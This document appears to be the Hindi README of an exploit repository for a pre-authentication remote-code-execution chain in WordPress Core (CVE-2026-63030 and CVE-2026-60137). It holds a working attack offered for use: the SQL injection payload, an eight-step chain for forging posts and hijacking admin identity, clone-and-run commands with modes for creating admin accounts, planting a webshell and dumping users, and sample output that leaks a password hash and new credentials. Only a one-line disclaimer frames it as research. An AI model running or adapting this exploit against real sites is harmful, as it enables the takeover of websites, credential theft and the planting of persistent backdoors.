
REST Batch Route Confusion + SQLi के माध्यम से WordPress Core Pre-Auth RCE (CVE-2026-63030 + CVE-2026-60137)
CVE-2026-63030 (CVSS 9.8) और CVE-2026-60137 (CVSS 9.1) WordPress Core में एक गंभीर प्री-ऑथेंटिकेशन रिमोट कोड एक्ज़ीक्यूशन श्रृंखला बनाते हैं। ये कमज़ोरियाँ WordPress के सभी डिफ़ॉल्ट इंस्टॉलेशन संस्करणों 6.9.0–6.9.4 और 7.0.0–7.0.1 को प्रभावित करती हैं।
यह श्रृंखला GPT-5.6 Sol Ultra (OpenAI) द्वारा केवल 10 घंटे से थोड़े अधिक समय में ~$25 की लागत पर स्वायत्त रूप से खोजी गई — यह कमज़ोरी वर्ग है जिसकी कीमत एक्सप्लॉइट ब्रोकर बाज़ारों में है।
एक बिना प्रमाणीकरण वाला हमलावर निम्न प्रकार से RCE प्राप्त करता है:
author__not_in के माध्यम से SQL इंजेक्शन (CVE-2026-60137) — स्केलर स्ट्रिंग के साथ absint() सैनिटाइज़ेशन को बायपास करनाWP_Post ऑब्जेक्ट तैयार करनाcustomize_changeset हाइजैक — अस्थायी रूप से एडमिनिस्ट्रेटर की पहचान उधार लेनाparse_request हुक री-एंट्री — उन्नत विशेषाधिकारों के साथ REST API को रीप्ले करनाPOST /wp/v2/users — नया एडमिनिस्ट्रेटर खाता बनानासक्रिय इंस्टॉलेशन: 472+ मिलियन (सभी वेबसाइटों का 43%)
खोजकर्ता: GPT-5.6 Sol Ultra (Adam Kues, Searchlight Cyber के माध्यम से), जुलाई 2026
श्रृंखला PoC: Mustafa Can İPEKÇİ (nukedx)
पैच: WordPress 6.9.5 / 7.0.2 / 6.8.6 (17 जुलाई, 2026)
| शाखा | असुरक्षित | स्थिर |
|---|---|---|
| 6.9.x | 6.9.0 – 6.9.4 | 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | 7.0.2 |
| 6.8.x | केवल SQLi (CVE-2026-60137) | 6.8.6 |
WordPress का REST बैच प्रोसेसर (serve_batch_request_v1) दो ऐरे बनाए रखता है: $validation[] (वैलिडेशन परिणाम) और $matches[] (रूट हैंडलर)। जब wp_parse_url() किसी गलत पथ (///) पर विफल होता है, तो वैलिडेशन श्रृंखला में एक WP_Error डाल दिया जाता है लेकिन रूट मैच श्रृंखला में नहीं:
// class-wp-rest-server.php
$parsed_url = wp_parse_url( $args['path'] );
if ( false === $parsed_url ) {
$requests[] = new WP_Error( 'parse_path_failed', ... );
continue; // ← SKIPS $matches[] — desync by one index
}
एक्सप्लॉइट मेथड प्रतिबंधों और पैरामीटर सैनिटाइज़ेशन दोनों को बायपास करने के लिए नेस्टेड (रिकर्सिव) बैच कॉल का उपयोग करता है।
author__not_in के माध्यम से SQL इंजेक्शन (CVE-2026-60137)WP_Query केवल is_array() ब्रांच के भीतर absint() सैनिटाइज़ेशन लागू करता है। जब author__not_in स्केलर स्ट्रिंग के रूप में आता है, तो सैनिटाइज़ेशन पूरी तरह से स्किप कर दिया जाता है:
// class-wp-query.php
if ( ! empty( $query_vars['author__not_in'] ) ) {
if ( is_array( $query_vars['author__not_in'] ) ) {
$query_vars['author__not_in'] = array_unique( array_map( 'absint', ... ) ); // ONLY if array
}
$author__not_in = implode( ',', (array) $query_vars['author__not_in'] ); // scalar passes raw
$where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) "; // SQL INJECTION
}
पेलोड: 0) UNION ALL SELECT ...-- - NOT IN सूची को बंद करता है और मनमाना SQL जोड़ देता है।
[1] Batch desync → bypass auth + param checks
[2] UNION SELECT → forge 7 fake WP_Post objects in cache
├─ Trigger post — [embed] shortcode
├─ Changeset post — post_type=customize_changeset, post_status=future
├─ Outer partner — post_parent=changeset (Loop 1)
├─ oEmbed target — cache backing
├─ Nav menu item — post_type=nav_menu_item
├─ Request post — post_type=request, post_status=parse (Loop 2)
└─ Inner partner — post_parent=request
[3] oEmbed processing → wp_update_post() → hierarchy cycle detection
[4] Loop 1 fix → writes changeset to DB without overwriting post_content
[5] _wp_customize_publish_changeset() → wp_set_current_user(admin_id)
[6] Loop 2 fix → writes request post → do_action("parse_request")
[7] rest_api_loaded() → serve_request() → batch replayed as ADMIN
[8] POST /wp/v2/users → administrator created
| आवश्यकता | क्यों | डिफ़ॉल्ट? |
|---|---|---|
| कम से कम 1 प्रकाशित पोस्ट | oEmbed कैश को लूपबैक URL के साथ सीड करता है | ✅ "Hello World" |
| कोई पर्सिस्टेंट ऑब्जेक्ट कैश नहीं | UNION पंक्तियों को split_the_query द्वारा खारिज नहीं किया जाना चाहिए | ✅ फ़ाइल कैश |
| REST API सुलभ | parse_request के माध्यम से री-एंट्री के लिए REST सर्वर आवश्यक | ✅ |
| सीधा फाइलसिस्टम राइट | प्लगइन अपलोड के लिए FS_METHOD=direct आवश्यक | ✅ अधिकांश होस्ट |
git clone https://github.com/shinthink/CVE-2026-63030.git
cd CVE-2026-63030
pip3 install -r requirements.txt # or: nothing — stdlib only
# Full chain — create admin account (pre-auth)
python3 cve_2026_63030.py --url https://target.com
# Check only (non-destructive — verify vulnerability)
python3 cve_2026_63030.py --url https://target.com --check
# Full chain + deploy RCE webshell
python3 cve_2026_63030.py --url https://target.com --rce id
# Dump all users via UNION extraction
python3 cve_2026_63030.py --url https://target.com --dump-users
+======================================================================+
| wp2shell -- Pre-Auth RCE PoC (Educational / Research) |
| CVE-2026-60137 (SQLi) + CVE-2026-63030 (Batch Route Confusion) |
+======================================================================+
Target : https://target.com
Mode : FULL CHAIN
[STEP 1] Verifying batch endpoint + route-confusion desync
[+] Batch endpoint reachable (HTTP 207)
[+] Desync confirmed (markers: parse_path_failed, rest_batch_not_allowed)
[STEP 2] UNION SQLi — database reconnaissance
[+] Database version : 8.0.46
[+] Database user : wp_user@localhost
[+] Database name : wordpress_db
[+] Table prefix : wp_
[+] Admin login : admin
[+] Admin hash : $P$B5xK3mwBxY2dOe/MKWx5VXGihwSUO
[+] Admin user ID : 1
[STEP 3] Creating a fresh administrator via oEmbed post-cache poisoning
[*] Seeding oEmbed cache with 3 loopback URLs...
[+] oEmbed cache IDs: [6, 7, 8]
[*] Submitting changeset poison + user creation...
[+] Admin created -- username: wp2_a1b2c3d4 password: Wp2!e5f6g7h8i9j0
+======================================================================+
| EXPLOITATION COMPLETE |
+======================================================================+
Admin : wp2_a1b2c3d4 / Wp2!e5f6g7h8i9j0
Login : https://target.com/wp-login.php
| फ़ाइल | उद्देश्य |
|---|---|
cve_2026_63030.py | सिंगल-टारगेट एक्सप्लॉइट (ज़ीरो-डिपेंडेंसी) |
requirements.txt | Python डिपेंडेंसीज़ (कोई आवश्यक नहीं) |
केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक अनुसंधान के लिए। लेखक दुरुपयोग के लिए कोई ज़िम्मेदारी नहीं लेते हैं।